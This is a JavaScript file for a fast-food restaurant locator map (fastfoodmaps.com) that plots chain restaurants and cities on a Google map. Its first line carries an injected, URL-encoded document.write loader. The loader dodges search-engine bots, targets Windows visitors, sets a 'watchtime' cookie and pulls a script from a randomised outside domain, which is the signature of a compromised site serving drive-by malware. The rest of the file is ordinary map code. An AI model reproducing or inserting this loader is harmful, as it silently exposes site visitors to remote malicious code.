var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;var lastbounds;
var lastzoom;
var points;
var cityView=1;
var minX;
var maxX;
var minY;
var maxY;
var zoom;
var dragging=false;
var infoWindow=null;
var numPoints=0;
var maxPoints=500;
var map;
var cache;
var cutoff=0;
var showWindow=false;
var detail=-1;
var hiliter;
var selected=null;
var chains=new Array('m','b','p','t','w','k','j','h','c','i');
var iconWidths= new Array(12,12,14,16,16,20,22,24,26);
var iconHeights=new Array(20,22,24,27,30,36,40,44,48);
var iconPolys=new Array("7,17,5,12,2,8,2,4,5,2,9,2,11,4,11,8,8,12",
						"7,18,5,13,2,8,2,4,6,1,8,1,11,4,11,8,8,13",
						"7,20,6,15,2,10,2,4,6,2,10,2,13,4,13,10,9,15",
						"8,23,7,17,2,11,2,6,6,2,11,2,15,6,15,11,10,17",
						"9,27,7,19,2,12,2,5,5,2,12,2,15,5,15,12,10,19",
						"11,32,9,23,2,13,2,7,7,2,14,2,19,7,19,13,12,23",
						"12,36,10,25,2,14,2,8,8,2,16,2,21,8,21,14,14,25",
						"12,40,11,29,2,16,2,8,9,2,17,2,23,8,23,16,14,29",
						"14,46,10,29,2,18,2,9,12,1,17,1,25,9,25,18,17,29");



var refresh=0;
var IE=false;
var tempX = 0;
var tempY = 0;
var lastUrl;

browser=navigator.appName;
check=browser.indexOf("Microsoft");
if (check!=-1) IE=true;

var blankImg="pixel.gif";

var icons= new Array(iconWidths.length);

for (i=0;i<icons.length;i++){
	width=iconWidths[i];
	height=iconHeights[i];
	icons[i]= new GIcon();
	icons[i].image=(i+1)+".png";
	icons[i].iconSize= new GSize(width,height);
	icons[i].iconAnchor = new GPoint(Math.ceil(width/2),height);
	icons[i].infoWindowAnchor = new GPoint(width/2,width/2);
	icons[i].poly = iconPolys[i];
}



lastzoom=-1;



function initArray() {

cache[0]=new Array();

for (i=0;i<chains.length;i++) {
		chain=chains[i];
		cache[chain][3]=new Array();
		cache[chain][4]=0;
	}
}
	




function initChains() {

	cache=new Array();
		
	for (i=0;i<chains.length;i++) {
		chain=chains[i];
		cache[chain]=new Array(1,1,null,null,0,null);
		cache[chain][2]=new GIcon();
		cache[chain][2].image=chain+".png";
		cache[chain][2].iconSize= new GSize(16, 28);
		cache[chain][2].iconAnchor = new GPoint(8, 27);
		cache[chain][2].infoWindowAnchor = new GPoint(5, 1);
		cache[chain][2].poly="8,27,7,18,2,12,2,6,7,2,11,2,15,6,15,12,10,18";
		
		cache[chain][5]=new GIcon();
		cache[chain][5].image="s-"+chain+".png";
		cache[chain][5].iconSize= new GSize(11, 17);
		cache[chain][5].iconAnchor = new GPoint(5, 16);
		cache[chain][5].infoWindowAnchor = new GPoint(5, 1);
		cache[chain][5].poly="6,16,5,11,2,8,2,3,5,1,7,1,10,3,10,8,7,11";
		
		cache[chain][3]=new Array();
		chainOn=(chainString=="" || chainString.indexOf(chain)!=-1);
		toggleChainStyle(chain,chainOn);
		cache[chain][0]=chainOn;
	}
}


function syncCache() {

	for (i=0;i<chains.length;i++) {
			chain=chains[i];
			if (cache[chain][0]==0 && cache[chain][1]) {
				cache[chain][3]=new Array();
				cache[chain][1]=0;
			}
		}
}



function clearmap() {

	map.clearOverlays();
	initArray();
	numPoints=0;

}


function showAll() {

		for(ii=0;ii<chains.length;ii++) {
			
			ch=chains[ii];
			toggleChainStyle(ch,true);
			cache[ch][0]=true;
		}
		updateTotal();
		startRequest(minX,minY,maxX,maxY,zoom); 
	
}





function showChain(chain) {

	if (!cityView) {
	
		for(ii=0;ii<chains.length;ii++) {
				
				ch=chains[ii];
				if (ch!=chain) toggleChain(ch,false);
		}
		
		toggleChain(chain,true);	
		
	} else {
	
		for(ii=0;ii<chains.length;ii++) {
			ch=chains[ii];
			toggleChainStyle(ch,(ch==chain));
			cache[ch][0]=(ch==chain);
		}
		
		updateTotal();
		startRequest(minX,minY,maxX,maxY,zoom); 
				
	}
}


function toggleChainStyle(chain,flag)
{

	if (cache[chain][0]==flag) return;
	
	document.getElementById("check"+chain).checked=flag;
	

	if (!flag) {
		document.getElementById("icon"+chain).src="bw-"+chain+".png";		
		document.getElementById("name"+chain).style.color="#BBBBBB";
		document.getElementById("count"+chain).style.color="#DDDDDD";
	} else {
		document.getElementById("icon"+chain).src="s-"+chain+".png";
		document.getElementById("name"+chain).style.color="";
		document.getElementById("count"+chain).style.color="";
	}


}

function toggleChain(chain, flag) {

count=0;


if (cache[chain][0]==flag) return;


toggleChainStyle(chain,flag);


if (!flag) {
	
	cache[chain][0]=false;
	
	if (cityView) {
		
		startRequest(minX,minY,maxX,maxY,zoom); 
		
	} else {
	
		for (var marker in cache[chain][3])
		{
			map.removeOverlay(cache[chain][3][marker]);
		}
	
		updateTotal();
		updateChainString();
	}
	
} else {
		
		cache[chain][0]=true;

		if (cityView) {
		
			startRequest(minX,minY,maxX,maxY,zoom); 
		
		} else {
		
			if (cache[chain][1]) {
			
				updateTotal();
				for (var marker in cache[chain][3])
				{
					map.addOverlay(cache[chain][3][marker]);
				}
				updateChainString();

			} else {
		
				startRequest(minX,minY,maxX,maxY,zoom,null,null,null,null,chain); 
			}
		
			cache[chain][1]=1;
			
		}	
	}
}





function zoomTo(pointx,pointy) {

	var zz=12;
	
	//parseInt(document.getElementById("detail").value);
	if (zz<0) zz=0;
	if (zz>17) zz=17;

	refresh=1;
	map.setCenter(new GLatLng(pointy,pointx), zz);
}





function createRestaurant(rowdata) {   

	var name;
	var marker;
	var id=rowdata[0];
	var icon;
	
	var chain=rowdata[3];
	
	if (cache[chain][3][id]!=null) return;
	
	point=new GLatLng(rowdata[2],rowdata[1]);

	if (chain=="m") name="McDonald's";
	if (chain=="b") name="Burger King";
	if (chain=="t") name="Taco Bell";
	if (chain=="k") name="KFC";
	if (chain=="p") name="Pizza Hut";
	 if (chain=="w") name="Wendy's";
	 if (chain=="j") name="Jack in the Box";
	 if (chain=="c") name="Carl's Jr.";
	 if (chain=="h") name="Hardee's";
	 if (chain=="i") name="In-N-Out Burger";
	
	 if (zoom>10) icon=cache[chain][2];
	 else icon=cache[chain][5];
	 
	 var address=rowdata[4];
	 var phone=rowdata[8];

	// if (address.length>32) address=address.substr(0,32)+"...";
	 
	 var text="<div id=addy>"+name+"<br>"+address+"<br>"+rowdata[5]+", "+rowdata[6]+" "+rowdata[7];
	 if (phone!=null) text+="<br>"+phone;
	 text+="</div>";
	 marker=new FFMarker(point,icon,text,0,chain);
	 
	
	map.addOverlay(marker);
	 
	
	
	cache[chain][3][id]=marker;
	
	numPoints++;
	
}



function createCity(rowdata) {

	var marker;
	var num=rowdata[0];
	var city=rowdata[3];
	var state=rowdata[4];
	var id=city+"+"+state;
	var point;
		
	if (cache[0][id]!=null) return;
	
	point=new GLatLng(rowdata[2],rowdata[1]);
	
	
	iconNum=Math.floor(num/30);
	if (iconNum<0) iconNum=0;
	if (iconNum>8) iconNum=8;
	
	
	icon=icons[iconNum];
	
	
	var text=city+" ("+num+")";
	marker= new FFMarker(point,icon,text,num);
	
	map.addOverlay(marker);
  
	//cache[0][id]=marker;
	numPoints++;
}





function startRequest(minx,miny,maxx,maxy,z,minx2,miny2,maxx2,maxy2,ch) {
	var url;
	var request;
	var zz;
	
	
	if (detail!=-1) 
		zz=detail;
	else
		zz=z;
		
	if (zz<0) zz=0;
	if (zz>17) zz=17;
	
	if (minx>0) minx=-180;
	if (minx2!=null && minx2>0) minx2=-180;

	request = GXmlHttp.create();

	updateChainString();
	
	chainSelection="";
	if (chainString!=null) chainSelection="&chains="+chainString;
	
	getChain="";
	if (ch!=null) getChain="&getchain="+ch;


	if (minx2==null) 
	{
		url="data.php?minx="+minx+"&miny="+miny+"&maxx="+maxx+"&maxy="+maxy+"&zoom="+zz+"&last="+cutoff+chainSelection+getChain;
	}
	else
		url="data.php?minx="+minx+"&miny="+miny+"&maxx="+maxx+"&maxy="+maxy+"&minx2="+minx2+"&miny2="+miny2+"&maxx2="+maxx2+"&maxy2="+maxy2+"&zoom="+zz+"&last="+cutoff+chainSelection+getChain;


	if (standard==1) {
		url=url+"&standard=1";
		standard=0;
	}


	debugData(url,1);
	boundcheck=map.getBounds();

	request.open("GET", url , true);
	request.onreadystatechange = function() {
	

	
  		if (request.readyState == 4) {
  		
   			var xmlDoc = request.responseText;
 			
 			if (xmlDoc=="") return;
        	var rows=xmlDoc.split("\n");
				
			tStart   = new Date();

			processHeader(rows[0]);

			prevPoints=numPoints;

			for (i=1;i<rows.length-1;i++) {
				rows[i]=rows[i].split("|");
						
				if (rows[i].length==9) {
					createRestaurant(rows[i]);
					cityView=0;
				} else if (rows[i].length==5){
					createCity(rows[i]);
					cityView=1;
				}
			}	
			
			var   tStop = new Date();
			var   tDiff = tStop.getTime() - tStart.getTime();
			var sec=tDiff/1000;
			var newPoints=numPoints-prevPoints;
			var out="Created " +newPoints+" points in " + sec + " seconds.\n";
			debugData(out,0);		
		}
	}
  	request.send(null);
}

function processHeader(data) {


	arr=data.split("|");
	
	clear=arr[12];
	if (clear==1) clearmap();

	for(i=0;i<10;i++) {
		
		chain=chains[i];
		count=arr[i];
		if (count=="") count=0;
		count=parseInt(count);
		

		cache[chain][4]=count;
				
		document.getElementById("count"+chain).innerHTML=addComma(count);
	}
	
	document.getElementById("totalcount").innerHTML=addComma(parseInt(arr[10]));
	
	cutoff=arr[11];
	
	if (cutoff==0) {
		cutString="Restaurants";
	} else if (cutoff==1) {
		cutString="Cities";
	} else {
		cutString="Cities "+cutoff+"+";
	}
	
	document.getElementById("showing").innerHTML=cutString;

}


function updateTotal() {
	total=0;
	for (i=0;i<chains.length;i++) {
		chain=chains[i];
		if (cache[chain][0]) total+=cache[chain][4];
	}
	
	document.getElementById("totalcount").innerHTML=addComma(total);
}





function addComma(num) {

if (num<1000) return num;

numstr=num.toString();

newnum=numstr.substr(0,numstr.length-3)+","+numstr.substr(numstr.length-3,3);


return newnum;

}

function debugData(data,clear) {
	
	//if (clear) document.getElementById("debug").value="";
 	//document.getElementById("debug").value+=data;

}



function changeDetail(d) {

	if (d!=-1) 
		detail=17-d;
	else
		detail=-1;
	
	startRequest(minX, minY, maxX, maxY, zoom, 1);

}



function  jumpToCity() {
	var st = document.getElementById("state").value;
	var ct = document.getElementById("city").value;
	var request = GXmlHttp.create();
	var url = "location.php?city="+ct+"&state="+st;
	
	request.open("GET", url , true);
	request.onreadystatechange = function() {
	
  		if (request.readyState == 4) {
  		
 			var xmlDoc = request.responseText;
			
				var loc=xmlDoc.split("|");
		
				if (loc==0 || loc.length!=2) {
					document.getElementById("city").value="<not found>";
				} else {
					zoomTo(loc[0],loc[1]);
				}
				
						
			}
		}
	request.send(null);	
}



var cityLocations;
var az;


function changeState() {

	

	var st = document.getElementById("state").value;
		
	document.getElementById("alpha").value="0";

	document.getElementById("alpha").disabled=true;
	document.getElementById("city").disabled=true;
	var select = document.getElementById("city");
	select.options.length=0;
	select.options[0]=new Option("Loading...",-1);
	
	
	
	var request = GXmlHttp.create();
	var url = "location.php?state="+st;
	
	request.open("GET", url , true);
	request.onreadystatechange = function() {
	
  		if (request.readyState == 4) {
  		  		
 			var xmlDoc = request.responseText;
			
			var rows=xmlDoc.split("\n");
		
			cityLocations=new Array();
		
			az = (rows.length>=75);
			pos=0;
			
			if (!az) select.options[0]=new Option("Select...",-1);
			
			for (i=0;i<rows.length;i++) {
							
				if (rows[i]=="") continue;
				rows[i]=rows[i].split("|");
				rr=rows[i];
				cty=rr[0];

				if (az) {
					letter=cty.substr(0,1);
					if (cityLocations[letter]==null) {
						cityLocations[letter]=new Array();
						pos=0;
					}
					if (letter=="0") cty=cty.substr(1,cty.length-1);
					cityLocations[letter][pos]=new Array(cty,rows[i][1],rows[i][2]);
					pos++;
				}else {
					cityLocations[i]=new Array(rows[i][1],rows[i][2]);
					select.options[i+1]=new Option(cty,i);
				}
				
				
			}			
			
			if (az) {
				document.getElementById("alpha").value="0";
				changeAlpha();
				document.getElementById("alpha").disabled=false;
			}
			
			document.getElementById("city").disabled=false;
			
		}

	}
	request.send(null);	
}


function changeCity() {

	var city = document.getElementById("city").value;
	if (city==-1) return;
	
	if (az) {
		letter=document.getElementById("alpha").value;
		lat=cityLocations[letter][city][1];
		lon=cityLocations[letter][city][2];
	} else { 
		lat=cityLocations[city][0];
		lon=cityLocations[city][1];
	}

	zoomTo(lat,lon);
}


function changeAlpha() {
	
	if (!az) return;
	
	var city = document.getElementById("city").value;
	var alpha=document.getElementById("alpha").value;
	var select = document.getElementById("city");
	var rows=cityLocations[alpha];
	select.options.length=0;
	
	if (rows==null) {
		select.options[0]=new Option("None","0");
		document.getElementById("city").disabled=true;
		return;
	}
	
	select.options[0]=new Option("Select...",-1);
	
	for (i=0;i<rows.length;i++) {
			
			city=rows[i][0];
			
			
			letter=city.substr(1,1);
			select.options[i+1]=new Option(city,i);
		}
				
	document.getElementById("city").disabled=false;
}


function centerMarker() {
	if (selected!=null) map.panTo(selected._point);
}

function markerForward() {
	if (selected!=null) selected.tweakZ(-10);
}

function markerBack() {
	if (selected!=null) selected.tweakZ(10);
}

function markerNormal() {
	if (selected!=null) selected.tweakZ(0);
}


function select(marker) 
{ 

	if (selected!=null) {
		if (hiliter!=null) map.removeOverlay(hiliter);
	}
	
	if (selected==marker) {
		markerBack();
		selected=null;
		document.getElementById("info").innerHTML="";
		return;
	}
	
	selected=marker;
	markerNormal();
	
	if (marker==null) {
		document.getElementById("info").innerHTML="";
		return;
	}

	document.getElementById("info").innerHTML=marker._text+"<table><tr><td><img src="+marker._chain+".png></td><td>"+
	"<a href=\"javascript:centerMarker()\">Pan to Center</a>"+
	"<br><a href=\"javascript:markerBack()\">Send Back</a>"+
	"<br><a href=\"javascript:markerForward()\">Send Forward</a></td></tr></table>";
	
	hiliter=new FFHilite(marker._point);
	map.addOverlay(hiliter);
	var rand=Math.random();
	blink(marker,true,rand);
}


function getMouseXY(e) {
	if (!cityView) return;
	
	if (IE) {
		tempX = event.clientX + document.body.scrollLeft;
		tempY = event.clientY + document.body.scrollTop;
	}
	else { 
		tempX = e.pageX;
		tempY = e.pageY;
	}  
	if (tempX < 0){tempX = 0;}
	if (tempY < 0){tempY = 0;}  
	
	if (showWindow) {
		document.getElementById("cursor1").style.left=(tempX+20) +"px";
		document.getElementById("cursor1").style.top=(tempY-5) +"px";
		document.getElementById("cursor1").style.display="";
	} else { 	
		document.getElementById("cursor1").style.display="none"; 
	}
	return true;
}



function showInfoWindow(text) {

document.getElementById("cursor1").innerHTML=text;
//document.getElementById("cursor1").style.display="";

showWindow=true;

}

function hideTheInfoWindow(force) {

if (force!=null && force==1)
	document.getElementById("cursor1").style.display="none";
	showWindow=false;
}


function updateChainString(){

	allChains=1;
	str="";
	
	
	for (var select in cache) {
    
    	if (select==0) continue;
	    c=cache[select][0];
	    if (c==1) 
	    	str+=select;	
		else
			allChains=0;
	}

	if (str=="") str="0";
	if (allChains) str="";


	chainString=str;
	updateUrl();
}

function updateUrl() {
	var cx=(minX+maxX)/2;
	var cy=(minY+maxY)/2;
	cx=Math.round(cx*1000000)/1000000;
	cy=Math.round(cy*1000000)/1000000;	
	 var newUrl="http://www.fastfoodmaps.com/index.php?x="+cx+"&y="+cy+"&z="+zoom;
	if (chainString!=null && chainString!="") newUrl+="&chains="+chainString;
	document.getElementById("url").href=newUrl;
}



function initBody() {


initChains();
debugData("",1);

map = new GMap2(document.getElementById("map"));
map.addControl(new GMapTypeControl());
map.addControl(new GLargeMapControl());

GEvent.addListener(map, "dragstart", function() {
	dragging=true;
});

GEvent.addListener(map, "dragend", function() {
	dragging=false;
});

GEvent.addListener(map, "click", function(overlay,point) {
	if (overlay==null) select(null);
});


GEvent.addListener(map, "moveend", function() {

	zoom= map.getZoom();
	var bounds = map.getBounds();
	syncCache();
	minY=bounds.getSouthWest().lat();
	minX=bounds.getSouthWest().lng();
	maxY=bounds.getNorthEast().lat();
	maxX=bounds.getNorthEast().lng();
	
	if (lastbounds!=null) {
		var lastMinY=lastbounds.getSouthWest().lat();
		var lastMinX=lastbounds.getSouthWest().lng();
		var lastMaxY=lastbounds.getNorthEast().lat();
		var lastMaxX=lastbounds.getNorthEast().lng();
	}


	if (lastbounds==null || minX!=lastMinX || minY!=lastMinY || maxX!=lastMaxX || maxY!=lastMaxY)
	{
	
		if (lastbounds!=null && !refresh && zoom==lastzoom && numPoints<maxPoints) {
			startRequest(minX, minY, maxX, maxY, zoom, lastMinX, lastMinY, lastMaxX, lastMaxY);
		} else {
			startRequest(minX, minY, maxX, maxY, zoom);
		}
	}
	refresh=0;
	lastbounds=bounds;
	lastzoom=zoom;		
	
	updateUrl();
	
});

map.setCenter(new GLatLng(lat,lon), zoom);


if (!IE) document.captureEvents(Event.MOUSEMOVE);
document.getElementById("map").onmousemove = getMouseXY;
document.getElementById("state").options[0].selected=true;
changeState();




}


function setStatus(url,flag) {






}